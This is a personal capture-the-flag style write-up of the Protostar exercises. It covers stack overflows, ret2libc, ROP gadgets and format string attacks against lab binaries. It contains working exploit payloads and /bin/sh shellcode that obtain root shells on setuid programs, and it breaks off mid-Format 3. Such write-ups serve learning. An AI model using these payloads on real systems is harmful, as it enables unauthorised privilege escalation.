Protosar
These pages document my progress on the Protostar exercises.
Old content
This content was moved here from a previous location and is somewhat dated.
Stack 0
After a long break it is time to give Protostar a go!
We'll jump right into Stack0, which is the first challenge.
From the code we're presented with, it's pretty obvious that the gets() function is our target.
stack0.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
It should be sufficient to provide any input longer than 64 chars. Let's just pick an arbitrary file of adequate length and pass this as input. As the gets() function will stop reading at newline or EOF, we will have to remove any such characters.
user@protostar:/opt/protostar/bin$ cat /etc/passwd | tr -d '\n' | ./stack0
you have changed the 'modified' variable
Segmentation fault
There we go!
Stack 1
Since there is no ASLR, the modified variable will be placed after buffer on the stack. Similar to the Stack0 exercise, we can overflow the buffer by submitting more than 64 chars.
Running man ascii reminds us that the sequence 0x61626364 refers to 'abcd':
Oct Dec Hex Char Oct Dec Hex Char
------------------------------------------------------------------------
000 0 00 NUL '\0' 100 64 40 @
001 1 01 SOH (start of heading) 101 65 41 A
... .. .. . ... .. .. .
037 31 1F US (unit separator) 137 95 5F _
040 32 20 SPACE 140 96 60 `
041 33 21 ! 141 97 61 a
042 34 22 " 142 98 62 b
043 35 23 # 143 99 63 c
044 36 24 $ 144 100 64 d
... .. .. . ... ... .. .
Based on this mapping, we can see that we need to place the characters 'abcd' into the modified variable. Since the system is little endian, we need to build our string backwards: 'dcba'.
We will test our theory as follows:
- build a string of 64 characters
- append
'dcba' - pass this onto the program
To build our string, we first read 64 characters from /dev/zero, which will return a string full of '\0'. We then proceed to use tr to replace these by a readable character (for debugging purposes), such as '!'. Finally, we append 'dcba' and pass our string to the program:
user@protostar:/opt/protostar/bin$ string=`head -c 64 /dev/zero | tr '\0' '!'}`
user@protostar:/opt/protostar/bin$ string+=dcba
user@protostar:/opt/protostar/bin$ echo $string
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!dcba
user@protostar:/opt/protostar/bin$ ./stack1 $string
you have correctly got the variable to the right value
Stack 2
This one is essentially the same as Protostar: Stack1, except we're dealing with an environment variable, instead of passing an argument directly to the program.
We're presented with the following code:
stack2.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
Our task is to overflow the GREENIE variable such that the value 0x0d0a0d0a gets written to the modified variable.
Again, we're looking to create a string that's longer than 64 characters and set the GREENIE variable to contain this value. Whatever we provide outside of the initial 64 characters will overflow to modified. Since 0x0d0a0d0a is newline and return carriage characters, it's easier to work directly with the hex values.
We can use python to build our string as follows:
user@protostar:/opt/protostar/bin$ GREENIE=`python -c 'print "\x24" * 64 + "\x0a\x0d\x0a\x0d"'`
user@protostar:/opt/protostar/bin$ export GREENIE
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable
Success!
Stack 3
This is very similar to previous challenges, but here the task is to overflow a function pointer, demonstrating how code flow can be manipulated.
First, we need to figure out where the win function will be loaded in memory when the program is running. We can do this using gdb:
user@protostar:/opt/protostar/bin$ gdb -q ./stack3
Reading symbols from /opt/protostar/bin/stack3...done.
We then proceed to print the location of the win function in memory, which turns out to be 0x8048424.
(gdb) x win
*0x8048424 <win>: 0x83e58955 Since the function pointer is declared ahead of the buffer variable which is 64 bytes long, anything we provide beyond 64 bytes supplied to the gets call on line 18 will overflow this variable. The goal is to set this variable to 0x8048424 to call the win function.
We can use a basic perl script to construct our input. We'll just submit 64 'A' characters and append the target address. Remembering that the system is little-endian, we reverse the bytes for the target address.
perl -e 'print "\x41" x 64 . "\x24\x84\x04\x08"' | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
Another win!
Stack 4
With Stack 4, things are starting to become more interesting. This exercise is designed to demonstrate how the EIP can be overwritten to get control of code execution. The Execution Instruction Pointer (EIP) is a registry which holds the address of the next set of instructions to execute.
For this exercise, we're going to fire up gdb:
user@protostar:/opt/protostar/bin$ gdb -q ./stack4
Reading symbols from /opt/protostar/bin/stack4...done.
First, we'll want to find the address of the win() function, which is easy using the info address command:
(gdb) info address win
Symbol "win" is a function at address 0x80483f4. Great, we learn that the function is located at 0x080483f4.
This is where things become a little different from previous exercies. We need to figure out the memory address of EIP once we're in main.
Disassembling the function helps determine where to set our breakpoint(s). Personally, I usually set the disassembly flavor to Intel when doing this in order to make the output slightly $more %readable.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x08048408 <main+0>: push ebp
0x08048409 <main+1>: mov ebp,esp
0x0804840b <main+3>: and esp,0xfffffff0
0x0804840e <main+6>: sub esp,0x50
0x08048411 <main+9>: lea eax,[esp+0x10]
0x08048415 <main+13>: mov DWORD PTR [esp],eax
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
End of assembler dump. main+21 should be a good location, right after the gets is called. This way we can look at the stack after we've provided input to the program.
(gdb) break *main+21
Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.
We now run the program and enter some input that is easy to locate on the stack to gets():
(gdb) run
Starting program: /opt/protostar/bin/stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, main (argc=1, argv=0xbffff834) at stack4/stack4.c:16
16 in stack4/stack4.c
(gdb)
Let's figure out where our input, and therefore the buffer variable is at on the stack
(gdb) x/16x $esp
0xbffff730: 0xbffff740 0xb7ec6165 0xbffff748 0xb7eada75
0xbffff740: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff750: 0x41414141 0x41414141 0x41414141 0x08004141
0xbffff760: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffff788 Now we know that buffer is located at 0xbffff740 and is 64 bytes. We can use this information calculate the distance in bytes between buffer and the EIP.
We print the frame information, and see that EIP points to the address 0x804841d and is located at 0xbffff78c. We'll want to overwrite this to point to win, at 0x80483f4.
(gdb) info frame
Stack level 0, frame at 0xbffff790:
eip = 0x804841d in main (stack4/stack4.c:16); saved eip 0xb7eadc76
source language c.
Arglist at 0xbffff788, args: argc=1, argv=0xbffff834
Locals at 0xbffff788, Previous frame's sp is 0xbffff790
Saved registers:
ebp at 0xbffff788, eip at 0xbffff78c By subtracting the address of buffer from eip we calculate the exact distance to be 76 bytes.
(gdb) p 0xbffff78c - 0xbffff740
$1 = 76
Let's try to create a string of 76 bytes followed by our return address and run the program again:
user@protostar:/opt/protostar/bin$ python -c 'print "A" * 76 + "\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault
Win!
Stack mess
Since the stack is now all messed up, the segfault is expected.
Stack 5
This time around, we don't have any existing code to execute, so we'll need to load some code of our own into memory and manipulate the return address to point to our new code. Inspecting the program, we can see that the setuid bit is set:
user@protostar:~$ ls -l /opt/protostar/bin/stack5
-rwsr-xr-x 1 root root 22612 Nov 24 2011 /opt/protostar/bin/stack5 With this hint, I assume the goal is to launch a shell with root access...
So our plan of action is roughly as follows:
- calculate distance between
bufferand to return address - find a suitable location where we can inject our code
- create a payload
Similar to previous exercises, we need to determine where eip will be located on the stack, such that we can overwrite the return address. We prepare some input using python which we can pass to stack5 during debugging. Using gdb, we then proceed to disassemble the main function and determine a reasonable location for a breakpoint to examine the stack. In this case, main+21 should work, which is right after the call to gets.
user@protostar:~$ python -c 'print "A" * 100' > /tmp/stack5.input
user@protostar:~$ gdb -q /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x50
0x080483cd <main+9>: lea eax,[esp+0x10]
0x080483d1 <main+13>: mov DWORD PTR [esp],eax
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) br *main+21
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11. Now, we start the program using our python-generated 100 A's as input (as reflected in argv below). When we hit the breakpoint, we can print some blocks of memory from the esp register and try to find the start of buffer.
(gdb) run < /tmp/stack5.input
Starting program: /opt/protostar/bin/stack5 < /tmp/stack5.input
Breakpoint 1, main (argc=1094795585, argv=0x41414141) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) x/16x $esp
0xbffff760: 0xbffff770 0xb7ec6165 0xbffff778 0xb7eada75
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/s 0xbffff770
0xbffff770: 'A' <repeats 100 times> The buffer appears to start at 0xbffff770. And we can use info frame and some address calculation to determine that eip is 76 bytes away:
(gdb) info frame
Stack level 0, frame at 0xbffff7c0:
eip = 0x80483d9 in main (stack5/stack5.c:11); saved eip 0x41414141
source language c.
Arglist at 0xbffff7b8, args: argc=1094795585, argv=0x41414141
Locals at 0xbffff7b8, Previous frame's sp is 0xbffff7c0
Saved registers:
ebp at 0xbffff7b8, eip at 0xbffff7bc
(gdb) p 0xbffff7bc - 0xbffff770
$1 = 76 Now that we know the offset at which to overwrite the return address, we need to think about how we can inject arbitrary code for execution. We could either pass shellcode as input to the program, but we are then constrained to the size of the stack. Another option is to use an environment variable.
For the purposes of this exercise, I will re-use some shellcode from shell-storm.org, created by Marco Ivaldi:
\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
We can use echo to produce a file from the shellcode and inspect the result using hexdump. We then store this informatiom in our environment variable of choice: DERP.
user@protostar:~$ echo -en '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' > /tmp/shellcode.bin
user@protostar:/opt/protostar/bin$ hexdump -C /tmp/shellcode.bin
00000000 31 c0 31 db b0 06 cd 80 53 68 2f 74 74 79 68 2f |1.1.....Sh/ttyh/|
00000010 64 65 76 89 e3 31 c9 66 b9 12 27 b0 05 cd 80 31 |dev..1.f..'....1|
00000020 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 |.Ph//shh/bin..PS|
00000030 89 e1 99 b0 0b cd 80 |.......|
00000037
user@protostar:~$ export DERP=$(cat /tmp/shellcode.bin)
As defined in POSIX, the environment for any given C application shall consist of an array of strings and be pointed to by the environ variable defined as:
extern char **environ;
We should be able to use this information to determine where our environment variable will be located in memory. First we determine the number of variables using, for example using env and wc -l.
user@protostar:~$ env | wc -l
17
We launch gdb again (-q switch to suppress welcome message on startup) and set a breakpoint at main:
user@protostar:~$ gdb -q /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) br main
Breakpoint 1 at 0x80483cd: file stack5/stack5.c, line 10.
Now, we can print the list of environment variables by accessing the environ variable:
(gdb) run
Starting program: /opt/protostar/bin/stack5
Breakpoint 1, main (argc=1, argv=0xbffff804) at stack5/stack5.c:10
10 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) x/17s *environ
0xbffff957: "USER=user"
...
0xbffffa4a: "DERP=1\300\061\333\260\006\315\200Sh/ttyh/dev\211\343\061\311f\271\022'\260\005\315\200\061\300Ph//shh/bin\211\343PS\211\341\231\260\v\315\200"
...
(gdb) p/x 0xbffffa4a + 5
$1 = 0xbffffa4f Great, we find our environment variable at 0xbffffa4a. Since the code only starts 5 bytes in (DERP= is 5 bytes), we need to use the address 0xbffffa4f to reference our shellcode correctly.
However, this address is subject to change slightly in different environments (as we will see later).
We can now write a small python program to build our payload:
stack5.py
payload = "A" * 76 # write up to return address
payload += "\x4f\xfa\xff\xbf" # address of DERP environment variable
print payload
Next, we generate an output file such that we can test with gdb:
user@protostar:~$ python ./stack5.py > /tmp/stack5.input
Fire up gdb and give our exploit a try:
user@protostar:~$ gdb -q /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) run < /tmp/stack5.input
Starting program: /opt/protostar/bin/stack5 < /tmp/stack5.input
Executing new program: /bin/dash
$ id
uid=1001(user) gid=1001(user) groups=1001(user)
$ exit
Program exited normally.
(gdb) quit
OK, so we managed to get /bin/dash (/bin/sh is a symlink to /bin/dash so this is expected) to run, but our user is still 'user'. This is expected and due to how gdb works with setuid programs.
Let's try outside gdb:
user@protostar:~$ /opt/protostar/bin/stack5 < /tmp/stack5.input
Segmentation fault
No luck there... This is likely due to environment differences between running the code in gdb and directly. So, there are a few ways to deal with this. Either, we could try to use the env command to start with a clean environment, using only our DERP variable and unset some environment entries (LINES, COLUMNS) that gdb uses to manage display.
Another approach, which I will be using here, is to create a simple program to determine the location of the environment variable outside the debugging environment. Here is a simple C program that will print the location of the DERP environment variable:
stack5.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char *argv[]) {
int i = 0;
while (environ[i]) {
if (strncmp(environ[i], "DERP", 4) == 0)
printf("%.4s at %p\n", environ[i], environ[i]);
i++;
}
exit(0);
}
When compiling and running this program, we can see the location of the DERP environment variable. We also see that the location shifts depending on file name. This is because argv[0], which is the program name, also gets added to the stack:
user@protostar:~$ gcc -o stack5c stack5.c; ./stack5c
DERP at 0xbfffff41
user@protostar:~$ gcc stack5.c; ./a.out
DERP at 0xbfffff45
user@protostar:~$ gcc -o aa.out stack5.c; ./aa.out
DERP at 0xbfffff43
Here, we could choose to calculate the base address. Or simply make our program the same length as /opt/protostar/bin/stack5, which is easier.
user@protostar:~$ echo -n "/opt/protostar/bin/stack5" | wc -c
25
user@protostar:~$ echo -n "/home/user/stack5c" | wc -c
18
user@protostar:~$ cp stack5c stack5c$(python -c 'print "A"*(25-18)')
user@protostar:~$ /home/user/stack5cAAAAAAA
DERP at 0xbfffff21 Let's update our python program and give it a try:
stack5a.py
#!/usr/bin/python
payload = "A" * 76 # write up to return address
payload += "\x21\xff\xff\xbf" # 0xbfffff21 address of DERP environment variable
print payload
Create a new payload... and run the program again:
user@protostar:~$ python stack5a.py > /tmp/stack5a.input
user@protostar:~$ /opt/protostar/bin/stack5 < /tmp/stack5a.input
Huh? The program appears to exit cleanly. No segfault, no other errors. It seems the shellcode did not successfully reopen stdin, so the shell will close immediately. We can get around this by passing an additional - to cat, to instruct it to continue reading from stdin:
user@protostar:~$ cat /tmp/stack5a.input - | /opt/protostar/bin/stack5
whoami
root
Looks like we finally made it! This one was a bit tricky, but I learned a lot in the process.
Stack 6
This program also has the setuid flag set, so we should be able to leverage this to spawn a root shell:
user@protostar:~$ ls -asl /opt/protostar/bin/stack6
23 -rwsr-xr-x 1 root root 23331 Nov 24 2011 /opt/protostar/bin/stack6 This time around, some restrictions are applied to the return address. If the return address is found to start with '0xbf' the program will print an error message an exit:
unsigned int ret;
/* snip */
ret = __builtin_return_address(0);
/* snip */
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
We can test this with a simple python script. Using the same techniques described for previous exercises, one can determine that the offset to the return address from the start of buffer is 80 bytes.
user@protostar:~$ python -c 'print "A" * 80 + "\x03\x02\x01\xbf"' | /opt/protostar/bin/stack6
input path please: bzzzt (0xbf010203)
This means that for this exercise, we'll need to manipulate the program to use a return address outside of 0xbf.... This rules out the approach we took to Stack5, where we stored shellcode in an environment variable, as they are expected to be found within this range.
As hinted by the exercise description, we can use information already loaded into memory by libc, which can be found in the text section of the memory:
high memory addresses
+-------------+
| stack | program stack
+- - - - - - -+
| | |
| v |
| |
| ^ |
| | |
+- - - - - - -+
| heap | malloc, free etc.
+-------------+
| bss | uninitialized data
+-------------+
| data | initialized data
+-------------+
| text | code, read-only
+-------------+
low memory addresses
Specifically, we need to locate the following:
system()function"/bin/sh"stringexit()function (this is really optional, but allows for a clean exit)
We can use gdb to assist us.
user@protostar:~$ gdb -q /opt/protostar/bin/stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) break main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) run
Starting program: /opt/protostar/bin/stack6
Breakpoint 1, main (argc=1, argv=0xbffff864) at stack6/stack6.c:27
27 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) x system
0xb7ecffb0 <__libc_system>: 0x890cec83
(gdb) x exit
0xb7ec60c0 <*__GI_exit>: 0x53e58955
(gdb) find &system, +9999999, "/bin/sh"
0xb7fba23f
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found. Great, we now have the addresses we need:
system():0xb7ecffb0"/bin/sh":0xb7fba23fexit():0xb7ec60c0
We want to construct our input as follows:
padding | system | exit | "/bin/sh"
which places exit at the return address, which should allow for a clean exit.
Let's create a python program to help build the payload:
stack6a.py
padding = "A" * 80 # write up to return address
system = "\xb0\xff\xec\xb7" # 0xb7ecffb0 address of system()
return_address = "\xc0\x60\xec\xb7" # 0xb7ec60c0 address of exit()
shell = "\x3f\xa2\xfb\xb7" # 0xb7fba23f address of "/bin/sh"
payload = padding + system + return_address + shell
print payload
... and give it a try:
user@protostar:~$ (python stack6a.py) | /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???AAAAAAAAAAAA????`?????
sh: Syntax error: Unterminated quoted string
Hmmm. It looks like we're nearly there, but something appears to be wrong with our call. Let's go back to gdb and inspect the "/bin/sh" string:
(gdb) x/s 0xb7fba23f
0xb7fba23f: "KIND in __gen_tempname\""
WTF..? Not sure what's going on here. The double " at the end sould explain the error message we saw. We're probably better off creating a small C program to find the location in memory.
Before we do this, we need to determine the memory location of libc, such that we know where to start looking. We can either do this from within gdb, using info proc map or using ldd against stack6:
user@protostar:~$ ldd /opt/protostar/bin/stack6
linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/libc.so.6 (0xb7e99000)
/lib/ld-linux.so.2 (0xb7fe5000) We find that the address of libc is 0xb7e99000 and can write our program:
stack6.c
#include <stdio.h>
#include <stdlib.h>
int main() {
char *shell = "/bin/sh";
char *p = (char *) 0xb7e99000;
while (memcmp(++p, shell, sizeof(shell)));
printf("%s: %p\n", shell, p);
exit(0);
}
When we run our program, we see a different address:
user@protostar:~$ gcc -o stack6b stack6b.c
user@protostar:~$ ./stack6b
/bin/sh: 0xb7fb63bf Let's update our python script to use 0xb7fb63bf:
stack6b.py
#!/usr/bin/python
padding = "A" * 80 # write up to return address
system = "\xb0\xff\xec\xb7" # 0xb7ecffb0 address of system()
return_address = "\xc0\x60\xec\xb7" # 0xb7ec60c0 address of exit()
shell = "\xbf\x63\xfb\xb7" # 0xb7fb63bf address of "/bin/sh"
payload = padding + system + return_address + shell
print payload
user@protostar:~$ python stack6b.py | /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???AAAAAAAAAAAA????`췿c??
user@protostar:~$
Looks like we now get a clean exit. As with Stack5 we can use some cat magic to keep the input open:
user@protostar:~$ cat <(python stack6b.py) - | /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???AAAAAAAAAAAA????`췿c??
whoami
root
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Awesome! Another one down.
Stack 7
This one is just the same as Stack6, but with further restrictions on the return address. This time around, we'll need to find a way for our exploit to work outside of any address starting with 0xb. In Stack6, all of the addresses we used were within this range, so it seems we need a novel approach. This also excludes using linux-gate.so1 (which is a common alternative to using libc) as seen from the output below:
user@protostar:/opt/protostar/bin$ ldd stack7
linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/libc.so.6 (0xb7e99000)
/lib/ld-linux.so.2 (0xb7fe5000)
The description of the exercise hints to using either msfelfscan or objdump. I plan to use ojbdump, since it is available on the system.
At the end of the day, there are only so many x86 instructions. Some of these, when executed in a specific sequence, can be used as an exploit vector. The larger the program, the higher the chance of finding something usable.
One such pattern which is rather well known is the pop, pop, ret sequence. We can look for this pattern in the disassembly output from objdump:
user@protostar:~$ objdump -d /opt/protostar/bin/stack7 |grep -n -e "pop * %ebx" -A3
...
--
124: 8048492: 5b pop %ebx
125- 8048493: 5d pop %ebp
126- 8048494: c3 ret
...
--
268: 80485f7: 5b pop %ebx
269- 80485f8: 5d pop %ebp
270- 80485f9: c3 ret
... Great, we find two candidates. Let's use 0x080485f7 for our attack.
Using the same technique described in previous exercises, we know that the offset to the return address from the start of buffer is 80 bytes. This time around, we are going to write 0x080485f7 into eip, to jump to this location during execution.
The pop instruction will take the 4 bytes off the top of the stack and move them into the register referenced, e.g. ebx. Given the set of instructions above, there are two pop commands followed by a ret. The ret instruction will move the address on the top of the stack into eip, such that execution will continue from that section. This is what happens:
[4 bytes junk] -> ebx
[4 bytes junk] -> ebp
[& shellcode] -> eip
As a result, our payload should look like this:
80 bytes padding | pop-pop-ret (0x080485f7) | 4 bytes junk | 4 bytes junk | address of shellcode
We will reuse the shellcode used in Stack5 and store this in our favourite environment variable, DERP:
user@protostar:~$ echo -en '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' > /tmp/shellcode.bin
user@protostar:~$ export DERP=$(cat /tmp/shellcode.bin)
Using another technique described in Stack5, we know DERP will be located at 0xbfffff21. Again, we turn to python to build our payload:
stack7.py
#!/usr/bin/python
padding = "A" * 80 # write up to return address
poppopret = "\xf7\x85\x04\x08" # 0x080485f7 address of pop, pop, ret sequence
junk = "BBBB" + "CCCC"
shellcode = "\x21\xff\xff\xbf" # 0xbfffff21 address of DERP
payload = padding + poppopret + junk + shellcode
print payload
... and try it out:
user@protostar:~$ cat <(python stack7.py) - | /opt/protostar/bin/stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAAAAAAAAAA?BBBBCCCC!???
whoami
root
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Neat! That concludes the Stack exercises of Protostar. Onto the next section...
Format 0
This exercise introduces the concept of format string vulnerabilities. While the exercise is actually more about overflows, a limitation on input size requires use of format string.
From previous exercises we know that we can write 0xdeadbeefinto target using a simple overflow attack:
user@protostar:/opt/protostar/bin$ ./format0 $(python -c 'print "A" * 64 + "\xef\xbe\xad\xde"')
you have hit the target correctly :)
However, this approach results in an input string of 68 bytes, which clearly exceeds the 10 bytes allowed. We can use a format parameter to significantly reduce the size of our input and achieve the same result:
user@protostar:/opt/protostar/bin$ ./format0 $(printf "%64d\xef\xbe\xad\xde")
you have hit the target correctly :)
The %064d format parameter is expanded into 64 leading zeroes during program execution. This concludes the first of the format string exercises.
Format 1
For Format 1, the task is to modify an arbitrary memory address using format strings and the vulnerable printf function. We are given a hint to use objdump to determine the location of variables.
First, some background on format string vulnerabilities. The core issue with this approach is that printf will happily process any input which it is given, assuming the arguments it is given are correct. For example, if printf("%d %s %x", 1, "hello") is called, printf will assume the next entry on the stack after "hello" is input to %x. In doing so, printf can be used to dump program memory.
Consider the following example, where we pass %08x a few times as input into format1.
user@protostar:/opt/protostar/bin$ ./format1 "%08x | %08x | %08x | %08x"
0804960c | bffff7b8 | 08048469 | b7fd8304
Using %n instead of %x allows to write the number of bytes read into memory, which is what we will be using later for this exercise.
We'll start by determining where target is located in memory, using objdump -t to print the symbol table entries of the program:
user@protostar:/opt/protostar/bin$ objdump -t format1 |grep target
08049638 g O .bss 00000004 target
From this information, we learn that target:
- has an address of
0x08049638 - is a global variable (
g) - is an Object (
O) - is located in the
.bsssegment - has a size of 4 bytes (
000000004)
Next, let's have a look at stack where the print function is called. Let's use gdb to help out:
- disassemble the
vulnfunction - set a breakpoint at
0x08048400whereprintis called - run the program with some arbitraty input
user@protostar:/opt/protostar/bin$ gdb -q format1
Reading symbols from /opt/protostar/bin/format1...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble vuln
Dump of assembler code for function vuln:
...
0x08048400 <vuln+12>: call 0x8048320 <printf@plt>
...
End of assembler dump.
(gdb) br *vuln+12
Breakpoint 1 at 0x8048400: file format1/format1.c, line 10.
(gdb) run $(python -c 'print "A" * 140')
Starting program: /opt/protostar/bin/format1 $(python -c 'print "A" * 140')
Breakpoint 1, 0x08048400 in vuln (string=0xbffff8e8 'A' <repeats 140 times>) at format1/format1.c:10
10 format1/format1.c: No such file or directory.
in format1/format1.c
The address of our format string will be at the top of the stack ($esp). By determining the distance between the two memory addresses, we can determine the correct amount of padding to use.
(gdb) x/x $esp
0xbffff6d0: 0xbffff8ec
(gdb) x/s 0xbffff8ec
0xbffff8ec: 'A' <repeats 140 times>
(gdb) p (0xbffff8ec - 0xbffff6d0) / 4
$1 = 135
We learn that the distance is 135 words. This may change outisde of gdb and also depends on the input string used, but provides a good hint of value to start with for some exploratory testing. When conducting this type of exploit, it is important to find an input with 4 bytes aligned, such that we can reference a full memory address.
Instead of simply repeating %x many times, we can use something called Direct Parameter Access, where an argument can be supplied to access parameter n$. Here's an example:
printf("Direct Parameter Access: %4$s, %2$s","1","2","3","4");
-> "Direct Parameter Access: 4, 2"
In testing with this approach, we find that an offset of 133, plus one character of padding does the trick:
/opt/protostar/bin/format1 $(python -c 'print "AAAA" + "%135$x"')
AAAA782435 <- this is part of the format string
/opt/protostar/bin/format1 $(python -c 'print "AAAA" + "%134$x"')
AAAA33312541 <- now we can see our first 'A'
/opt/protostar/bin/format1 $(python -c 'print "AAAA" + "%133$x"')
AAAA41414100 <- three A's... let's try some padding
/opt/protostar/bin/format1 $(python -c 'print "AAAA" + "|" + "%133$x"')
AAAA|41414141 <- bingo!
We can now replace the sequence of A's with the address of target and switch out x for n which will cause a write operation:
user@protostar:/opt/protostar/bin$ /opt/protostar/bin/format1 $(python -c 'print "\x38\x96\x04\x08" + "|" + "%133$x"')
8|8049638
user@protostar:/opt/protostar/bin$ /opt/protostar/bin/format1 $(python -c 'print "\x38\x96\x04\x08" + "|" + "%133$n"')
8|you have modified the target :)
This concludes Format1. With these learnings, we should be able to take on the other exercises. It appears that Exploit Exercises is offline recently, but I will proceed with archived copies of the exercises. I hope they come back online, as it is a highly useful resource for anyone interested in infosec.
Format 2
This one is essentially the same as Format 1, but we have to set the target variable to a specific value: 64. The only other noteable difference between the two is that this time around, input is retrieved using fgets as opposed to program arguments.
Using objdump again, we learn that target has an address of 0x080496e4:
user@protostar:/opt/protostar/bin$ objdump -t format2 |grep target
080496e4 g O .bss 00000004 target With fgets being used here, the most straightforward approach is to run the program with some exploratory input:
user@protostar:/opt/protostar/bin$ python -c 'print "AAAA" + "%08x." * 10' | ./format2
AAAA00000200.b7fd8420.bffff604.41414141.78383025.3830252e.30252e78.252e7838.2e783830.78383025.
target is 0 :( Here, one can see that the AAAA pattern (41414141) is repeated at the 4th position. Let's try again with:
- the address of
target - using direct parameter access for the 4th position (
4$) - replacing
08xwithnto trigger a write operation at the address:
user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08" + "%4$n"' | ./format2
?
target is 4 :( OK, so we are 60 off target. That can be easily fixed by adding some padding (%60d) at the start:
python -c 'print "\xe4\x96\x04\x08" + "%60d%4$n"' | ./format2
512
you have modified the target :) And with that, target is 64 and we can conclude Format 2.
Format 3
For Format 3, we need to modify target to the specific value of 0x01025544. We will start by using the same approach as for Format2.
Using objdump again, we learn that target has an address of 0x080496f4:
user@protostar:/opt/protostar/bin$ objdump -t format3 |grep target
080496f4 g O .bss 00000004 target Once again we run the program with some exploratory input:
user@protostar:/opt/protostar/bin$ python -c 'print "AAAA" + "%08x." * 20' | ./format3
AAAA00000000.bffff5c0.b7fd7ff4.00000000.00000000.bffff7c8.0804849d.bffff5c0.00000200.b7fd8420.bffff604.41414141.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.
target is 00000000 :( and determine that the AAAA pattern (41414141) is repeated at the 12th position. Let's try again with:
- the address of
target - using direct parameter access for the 4th position (
12$) - replacing
08xwithnto trigger a write operation at the address:
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08" + "%12$n"' | ./format3
??
target is 00000004 :( Let's start by trying to fix the lower value bytes. We can use gdb to help us do some basic maths:
(gdb) p 0x00000044 - 0x00000004
$1 = 64
Let's try to pad our input with %64d:
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08" + "%64d%12$n"' | ./format3
??
target is 00000044 :( Again, gdb can help us determine how much padding we need to add to make this 0x00005544:
